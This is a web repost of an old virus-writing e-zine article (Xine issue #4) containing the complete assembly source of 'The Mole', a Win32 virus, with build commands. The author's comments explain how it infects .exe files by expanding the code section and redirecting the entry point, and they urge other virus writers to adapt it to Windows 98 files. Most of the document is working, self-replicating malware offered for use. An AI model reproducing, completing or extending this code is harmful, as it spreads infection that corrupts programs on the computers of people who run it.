Copy Link
Add to Bookmark
Report

Xine - issue #4 - Phile 200

eZine's profile picture
Published in 
Xine
 · 7 months ago

 
/-----------------------------\
| Xine - issue #4 - Phile 200 |
\-----------------------------/

;The Mole by Murkry\ikx
;A small win32 virus that uses memmap to expand the code section of a
;.exe then place its code there. Does not work on some Win98 files since
;MS in its infinite wisdom has made file aligment 1000h instead of 200h
;of course this makes this type of virus redunant since you do not need
;to expand the section odds are the file will have 400-800h bytes free anyway
;so the day of cavity infectors has come in the form of Win98 but sadly
;this virus does not infect Win98 type files. But it does infect WinNT
;A relative small change in code should rectify this.
;if the file infect mask is changed to *.dll it will work and if then
;return to *.exe it returns. This would be a interesting change for other
;students of vx to explore.

;Tested in NT and Win95 works very well
;size just under 400h to get the date resest and control attributes
;it would need to be bigger say 600h, actaul less but 200h should the
;smallest increment you use for this type of virus

;A quick survey off 30 PE file in a win95 directory shows
; possible percent of files that can be infected versus size of
;virus of this type
;
; 400h 83%
; 600h 60%
; 800h 50%
; a00h 37%
; c00h 20%
;
;what am I actual doing here and why does it fail if filealign is 100h
;well in win32 you can asgin filealigment to 200h or 1000h
; (not sure if other values will work but this are the 200 that MS uses)
;now if you fileAL = 200h and the MemoryAligment = 1000h this means
;your file is bigger in memory then what it takes on the disk.
;Eaxmple
;TASM file do nothing but Exit Process
;On Disk |In Memory
;0 MZ |RVA +0 MZ
;100h PE | 100h PE
;600h FIRST SECTION | 1000h FIRST SECTION
;800h Second section | 2000h Second SECTION
;A00h third section | 3000h THIRD SECTION
;C00h fourth section | 4000h FOUURTH SECTION
;somtimes som padding of 200h in size|
;This means there is memory space that is unused, Some Virus have already use
;some of this space 2 of my virus
;Murkry- which uses the space wasted on file and memory In the Header area
;DarkSide- which use the space in the data section
;Well with memmap API's you can rearrnange the file to increase the file space
;available on disk but not increase the space in memory, this is important due
;how pe files execute its code all relocs are hardcode to be at rva + VA of section
;if you were to move the section in memory you then need to adjust all the
;relocs, which can be done but is a pain.If you assume some limits to your file
;size then you can increase the file size with out increasing memory size
;Eaxample of Infect file
;On Disk |In Memory
;0 MZ |RVA +0 MZ
;100h PE | 100h PE
;600h FIRST SECTION | 1000h FIRST SECTION
; Virus here | 1800h virus here
;800h Second section | 2000h Second SECTION
;A00h third section | 3000h THIRD SECTION
;C00h fourth section | 4000h FOUURTH SECTION
;now you do need to adjust the physcal offset of each Section in their respective
;section entrys but thats maybe 4 or 6 spots if you need to update relocs it could
;several hundred, and if the .reloc section was stripped from the file good luck
;anyway this method of infection also means you do not have to adjust the
;charteristcs of a section to code since you are infecting the code section
;well I am sure that is clear as mud....
;oh yeah if the file it is infecting it has say greater then 800h of
;free space then the virus will reinfect, which means that the virus will
;now get twice as many chances to infect when this file it executed :>
;I do some weird code down below among other things I leave info on the
;stack soe I can use it later, I also do some weird jmps when memmaping
;the first time throuhg I memmap at files true size , then if its not infected
;and can be I unmap and run thru the same code to map with the new size
; hey it works , looks like vogon poetry but it works
;as a side not I released this virus to the now Defucnt Vicodin TNN site
;and AVP calls it IKX, with really was meant to be called the TheMole since
;it burrowed into the file,
;Oh the reason this cant infect Win98 files, some to all of them (win98 files)
;have file alignments set to 1000h (for faster load time, I hear) All
;win98 files have been requested to be compiled at that size. So when this
;virus checks for free space it will find all sections end at a 1000h increment
;which means there is no free space.
;So what someone needs to do is modify this so instead of expanding files
;it checks to free space in the code section and writes itself there
;this virus would be like a snail or crab that uses the discard shells to
;house itself so code name TheSnail98 , Thats why I say the future of
;cavity infectors is near.. Since I hear WinNT aka Win2000 will also
;have this feature. Thank God Hard Drives are cheap.
;Murkry

;To assemble
;tasm32 /ml /m3 mole;
;tlink32 /Tpe /aa /c /x mole,mole,, import32.lib,


ViriiSize equ 400h

.386
.model flat,stdcall
;Yeah I know they are not needed now :>
extrn GetFileSize:PROC
extrn ExitProcess:PROC

extrn CreateFileA:PROC
extrn CreateFileMappingA:PROC
extrn MapViewOfFile:PROC
extrn UnmapViewOfFile:PROC
extrn CloseHandle:PROC

extrn FindFirstFileA:PROC
extrn FindNextFileA:PROC
extrn FindClose:PROC
extrn SetEndOfFile:PROC

FILE_MAP_COPY EQU 000000001h
FILE_MAP_WRITE EQU 000000002h
FILE_MAP_READ EQU 000000004h
FILE_MAP_ALL_ACCESS EQU 0000f001fh


INVALID_HANDLE_VALUE EQU -1

FILE_ATTRIBUTE_NORMAL EQU 000000080h

GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h

OPEN_EXISTING equ 3

PAGE_NOACCESS EQU 000000001h
PAGE_READONLY EQU 000000002h
PAGE_READWRITE EQU 000000004h
PAGE_WRITECOPY EQU 000000008h
PAGE_EXECUTE EQU 000000010h
PAGE_EXECUTE_READ EQU 000000020h
PAGE_EXECUTE_READWRITE EQU 000000040h
PAGE_EXECUTE_WRITECOPY EQU 000000080h
;Header Offsets

PEHeaderSze EQU 0F8h
NumOfSects EQU 06h
SizeOfCode equ 1ch
ImageSze equ 50h



;section offsets
VSize equ 8h
VAddress equ 0Ch
SzeRawData equ 10h
PtrRawData equ 14h
HdrSze equ 28h

Find_data equ 139h
Find_data_name equ 2ch ;where in the structure is the name
FileSizeH equ 14h ;if not zero get out
Filesize equ 20h ;file size low
;find_file db Find_data dup(00) ;size of the find data

;-------------------------------------------
;how the stack is used
SHandle equ 0 ;Handle for the search routine
FHandle equ SHandle + 4 ;Handle for open file
CMHandle equ FHandle + 4 ;CreateMFileHandle
MHandle equ CMHandle + 4 ;Mhandle also address of where it is
FindFile equ MHandle + 4

CFile equ FindFile + Find_data + 4
CFMap equ CFile + 4
MapV equ CFMap + 4
CloseH equ MapV + 4
FindFirst equ CloseH + 4
FindNext equ FindFirst + 4
CloseFnd equ FindNext + 4
UnMapV equ CloseFnd + 4
SetFEnd equ UnMapV + 4
Flag equ SetFEnd + 3

GetProc equ Flag + 4
K32Load Equ GetProc + 4
HostPE Equ K32Load + 4
HostLoad equ HostPE + 4
Delta equ HostLoad + 4

WorkSpace equ GetProc


;-------------------------------------------
.data ;the data area
dummy dd ? ;this needs some data
;or it won't compile ...easily

;-------------------------------------------
.code

Mole:
db 68h
HostEip dd offset fini - 00400000h

Pusha

call GetAddie ;this leaves some data on the stack
;which mole use's which I know upsets
;some Purists out there
;Hey it drove me nuts, till I work
;out the stack offsets too
D1: sub esp,WorkSpace
mov ebp,esp
sub dword ptr[ebp + Delta],offset D1 - Offset Mole
;this gives mole its location in memory

;set return up to old eip
mov eax,dword ptr [ebp + HostPE]
add dword ptr [ebp + Delta + 4 + (8*4)],eax

Call GetFunctions ;With the k32 module
;and GetProc we can now get all
;the Fuctions we want

;FINDFIRST
lea eax,[ebp + FindFile]
push eax

mov eax,[ebp + Delta]


add eax, offset Fmask - Offset Mole
push eax
call dword ptr [ebp + FindFirst]

mov dword ptr [ebp + SHandle],eax
inc eax
jz NoFiles
dec eax

TryItAgain:
mov byte ptr [ebp + Flag],0 ;assume too small
call Map_Infect?

cmp byte ptr[ebp + Flag],0
jz FindNextOne

add dword ptr [Ebp + FindFile + Filesize],ViriiSize
call Map_Infect?

;call Modify

FindNextOne:
;FINDNEXT
lea eax,[ebp + FindFile]
push eax

mov eax,[ebp + SHandle]
push eax

call dword ptr [ebp + FindNext]
or eax,eax
jnz TryItAgain


NoFiles:
lea eax,[ebp + FindFile]
push eax

Call dword ptr [ebp + CloseFnd]


ADD ESP,Delta + 4 ;restore all
Popa

ret ;return to the host

;--------------------------------------------------------------

Map_Infect?:

xor eax,eax
cdq ;edx = 0

push eax ;handle template

;push FILE_ATTRIBUTE_NORMAL ;attr flags
mov dl,80h
push edx

push large OPEN_EXISTING ;creat flags

push eax ;security issue
push eax ;share mode

push GENERIC_READ or GENERIC_WRITE ;r\w access

Lea eax,[ebp + FindFile + Find_data_name]
push eax ;file name

call dword ptr [ebp + CFile] ;CreateFileA

inc eax ;smaller than cmp eax,-1, je...
jz FileError ;
dec eax ;

;-------------------------------------------------------------
cdq ;get edx = 0
mov [ebp + FHandle],eax
;-------------------------------------------------------
;CreateFileMap object
;This is what will determine how big the file is
;when this is done the file size will be changed
;and of course the date is changed

push edx ;fileMap name



push dword ptr [Ebp + FindFile + Filesize]


push edx ;file size high not use for this

push large PAGE_READWRITE ;Protection Rights R/W etc
push edx ;security attr
push eax ;File Handle
call dword ptr [ ebp + CFMap ] ;CreateFileMappingA
cdq ;again zero edx
;why here well ecx usual contains a
;value like C??????? which when xchg
;to eax when you us cdq edx = -1 not 0
xchg eax,ecx

jecxz MapHandleError

;-------------------------------------------------------------
mov [ebp + CMHandle],ecx ;2nd FileMapHandle
;-------------------------------------------------------------
;Map the View


push edx ;size to map if 0 whole file
;in win95 its always does whole file
push edx ;where it file to start the mapping
;low word
push edx ;high word
push large FILE_MAP_WRITE ;Acces rights
push ecx ;Map Handle
call dword ptr [ebp + MapV] ;MapViewOfFile
xchg eax,ecx
jecxz ErrorFileMap

;---------------------------------------------------------------------------
mov dword ptr [ebp + MHandle],ecx ;3rd Address of where its mapped
;---------------------------------------------------------------------------

;check for the oking of it then jmp out or back to close
;then reopen
;

MOV EDX,ECX

MOV Ebx,[EDX + 3CH] ;WHERE THE PE
cmp word ptr [ ebx+ edx],'EP'
jne NoRoom

LEA esi,[ebx + PEHeaderSze + edx] ; esi = first Section Entry

;check for the section char is
;set for code

test byte ptr [esi + 24h],20h
JE NoRoom

;FindOut if there is room to expand the file

mov ecx,[ESI + VAddress]
add ecx,[ESI + SzeRawData]
mov Eax,[ESI + VAddress + HdrSze ]

sub Eax,Ecx
cmp eax,ViriiSize
jl NoRoom

cmp byte ptr [ebp + Flag],0
jne Roomie

inc byte ptr [ebp + Flag]

jmp GoodOpenSize

Roomie:

call Infect


NoRoom:

GoodOpenSize: ;if called close file and get ready to infect

push dword ptr [ebp + MHandle]
call dword ptr [ebp + UnMapV] ;UnmapViewOfFile


;-------------------------------------------------------------


ErrorFileMap:
push dword ptr [ebp + CMHandle] ;close file map handle
call dword ptr [ebp + CloseH] ;CloseHandle ;on stack Handle to the Map object



MapHandleError:
push dword ptr [ebp + FHandle]
call dword ptr [ebp + CloseH] ;file CloseHandle ;on stack is the File open



FileError:

ret

;-----------------------------------------------------------------
Infect:
;Ok do the move

push esi
mov edx,[ebp + MHandle]
mov eax,[esi + PtrRawData]
add eax,[esi + SzeRawData] ;where this section ends in the file


mov ecx,dword ptr [Ebp + FindFile + Filesize]

dec ecx
sub ecx,ViriiSize
lea esi,[edx + ecx] ;where to move the data from
lea edi,[edx + ecx + ViriiSize ] ;to
inc ecx

sub ecx,eax ;how much we move for 800h
std ;move backwards
rep movsb ;move it

cld ;move forward again

xchg edi,esi
inc edi


pop esi
push esi

mov eax,[ebp + MHandle]
add eax,[eax + 3ch] ;points to PE

push eax

mov eax,[eax+28h] ;entry point RVA (Eip)
mov byte ptr [edi],68h ;creates the push for the ret
mov dword ptr [edi + 1],eax ;to return to host

pop eax

mov ecx,[ebp + MHandle]
add ecx,[esi + PtrRawData]
push edi
sub edi,ecx
add edi,[esi + VAddress]
;inc edi
mov dword ptr [eax +28h],edi ;update the eip address
pop edi

lea edi,[edi + 5] ;maybe 5 incs are better

mov esi,dword ptr [ebp + Delta]
lea esi,[esi + 5]
mov ecx,offset fini - offset Mole
rep movsb


pop esi ;restore pointer to the section entries


;update the .code area size in the section
add dword ptr [esi + SzeRawData ],ViriiSize
mov eax,dword ptr [esi + SzeRawData]


;update this as well be better if we check if it needed to be
;enlarged???
mov dword ptr [esi + VSize],eax

;not updating the image size since we are not
;becoming bigger in memory aligment only file alignment
;in the header PE
;add dword ptr [edx + ebx + ImageSze],ViriiSize


;Do update the code size in the Header area
add dword ptr [edx + ebx + SizeOfCode],ViriiSize

;now update the rest of the sections
Movzx ecx,word ptr [edx + ebx + NumOfSects]
dec ecx

;update the section entries pter to raw data as long as not 0
NextSect:
add esi, HdrSze
cmp dword ptr [esi + PtrRawData],0
je ZPter
add dword ptr [esi + PtrRawData],ViriiSize
ZPter: loop NextSect

ret


;--------------------------------------------------------------------------
;Used For GetAddie
K32 equ 0
BASE equ K32 + 4
Limit equ BASE + 4
AddFunc equ Limit + 4
AddName equ AddFunc + 4
AddOrd equ AddName+4
Nindex equ AddOrd + 4
WorkSp equ Nindex + 4
GetPAdd equ WorkSp + 4
RetAdd Equ GetPAdd + 4


EdataLoc equ 78h
IdataLoc equ 80h

GetAddie:

call here
here: pop esi

Call GetPE ;eax,esi
jne GetAddie_fini

push eax ;Address of PE header for this module
push esi ;Load address of Module

Call GetK32API
;On return Esi = a API call in Kernel32

Call GetPE ;eax,esi
push ESI ;Module address of K32

;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
push large 0 ;hold the return info
Call GetGetProcessAdd


push dword ptr [esp + 10h]

GetAddie_fini:

ret

;--------------------------------------------------------------
GetGetProcessAdd:
;esi = to the load address Kernel32
;eax = address to the PE header of Kernel32
;on return
;on the stack is the Address

sub esp,WorkSp
mov ebx,ebp

mov ebp,esp

Pusha

mov dword ptr[ esp+ 8],ebx


mov [ebp + K32],Esi
mov ebx,esi

mov eax,[eax + EdataLoc] ;gets us the Edata offset

lea esi,[eax + ebx + 10h] ;pointer to base

lea edi,[ebp+BASE]

lodsd
;mov [ebp + BASE],eax ;save base
stosd

lodsd ;total number of exported functions
;by name and ordinal

lodsd ;the functions exported by name
;mov [ebp +Limit],eax ;this is how far its safe to look
stosd


lodsd
add eax,ebx

;mov [ebp + AddFunc],eax
stosd

lodsd

add eax,ebx
;mov [ebp + AddName],eax
stosd

lodsd
add eax,ebx
;mov [ebp + AddOrd],eax
stosd


LookLoop:
mov esi,[ebp + AddName]
mov [EBP+Nindex],esi

mov edi,ebx ;get the load Add of K32
add edi,[esi]

xor ecx,ecx
TryAgain:

;find GetProcAddress
cmp [edi],'PteG'
jne NextOne

cmp [edi+4],'Acor'
jne NextOne

cmp [edi+8],'erdd'
jne NextOne

cmp word ptr[edi+0Ch],'ss'
jne NextOne

cmp byte ptr [edi+0Eh],00
jne NextOne

jmp GotGetProcAdd

NextOne:
inc ecx
cmp ecx,[ebp + Limit]
jge NotFound1

add dword ptr [ebp + Nindex],4
mov ESI,[EBP+Nindex]
mov edi,[esi]
add edi,ebx
jmp TryAgain



GotGetProcAdd:
;ok we have the index into the name array use this to get
; the index into the ord array
;
shl ecx,1 ;*2 for a word array
mov esi,[ebp + AddOrd]
add esi,ecx ;move to the correct spot in the array

movzx eax,word ptr [esi]
;ax = ordinal value

shl eax,2 ;*4
mov esi,[ebp + AddFunc]
add esi,eax

mov edi, dword ptr [esi]
add edi,ebx ;got the address of it

xchg eax,edi
mov dword ptr [ebp + GetPAdd],eax
jmp OkFound

NotFound1:

xor eax,eax
OkFound:


popa
add esp,WorkSp


ret

;--------------------------------------------------------------
;ok at this point we have
;esi = to the load address of the program
;eax = address to the PE header now using this get the .idata area
;rather than use the .IDATA section we look for the more dependable
;idata entry in the idatrva section which is offset 80h into the PE header


GetK32API:
push ebx
mov ebx,dword ptr [eax + IdataLoc]

add ebx,esi

;Ebx now points to the import data table

NextDll:
cmp dword ptr [ebx+0ch],0
je NoIdataLeft

lea eax,[ebx+0ch]

mov eax,[eax]
cmp dword ptr [eax+esi],'NREK'
jne NotFound
cmp dword ptr [eax+esi+4],'23LE'
jne NotFound

mov eax,[ebx+10h]
mov eax,[eax+esi]

;next line is needed only in debug td32
;only in win95 not Winnt 4.0 at least so far
; mov eax,[eax+1]


xchg eax,esi
pop ebx
ret

NoIdataLeft:
xor eax,eax
pop ebx
ret

NotFound:
add ebx,14h
jmp NextDll
;---------------------------------------------------------

;Routine that will , given the address within a .exe in memory
;track back and find the MZ header then using this info one can
;find the Kernel32 (as long as the exe imports a kernel32 function
; on input
;esi = the address to start looking at
;on exit
;esi = the address of the MZ header
;eax = the address of the PE header

GetPE:

SetupSEH:
push offset FindExcept
push dword ptr fs:[0]
mov fs:[0],esp

LoopFind:
and esi,0FFFFF000h
pusha
lodsw
cmp ax,'ZM'
je Found
popa
sub esi,1000h
jmp LoopFind

FindExcept:
;Some Exception occured assume "DEAD" area, reset and continue
mov eax,[esp +08h]
lea esp,[eax - 20h]
popa ;restores our "REGS" esi mainly
pop dword ptr fs:[0] ;restore old handler
add esp,4 ;remove last bit of hanlder
sub esi,1000h ;Get set for next page to look at
jmp SetupSEH

Found:
popa ;esi = out MZ header
pop dword ptr fs:[0]
add esp,4

Lea eax,[esi + 3ch]

mov eax,[eax]
add eax,esi

cmp word ptr ds:[eax],'EP'

ret

;---------------------------------------------------------------
GetFunctions:
Mov esi,[ebp+ Delta]
add esi,offset Funct_List - Offset Mole

Lea edi,dword ptr [ebp + CFile]

;mov ecx,9 ;*
xor ecx,ecx
mov cl,9

startGetLoop:
push ecx

push Esi ;function name
Push dword ptr [ ebp + K32Load] ;dll
call dword ptr [ebp + GetProc]
stosd

pop ecx

add esi,13h ;get next name

Loop startGetLoop

ret

;---------------------------------------------------------------


;Data for The Mole

Funct_List:
db "CreateFileA",0 ;12
Fmask db "*.EXE",0 ;5
db 1 dup(90h)

db "CreateFileMappingA",0 ;19

db "MapViewOfFile",0 ;14
db 5 dup(90h)

db "CloseHandle",0 ;12
db 7 dup(90h)

db "FindFirstFileA",0 ;15
db 4 dup(90h)

db "FindNextFileA",0 ;14
db 5 dup(90h)

db "FindClose",0 ;10
db 9 dup(90h)

db "UnmapViewOfFile",0 ;16
db 3 dup(90h)

db "SetEndOfFile",0 ;13
;db 6 dup(90h)
db 'Murkry\IKX'

;=========================================================================

fini:

push LARGE -1
call ExitProcess ;this simply terminates the program

end Mole



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT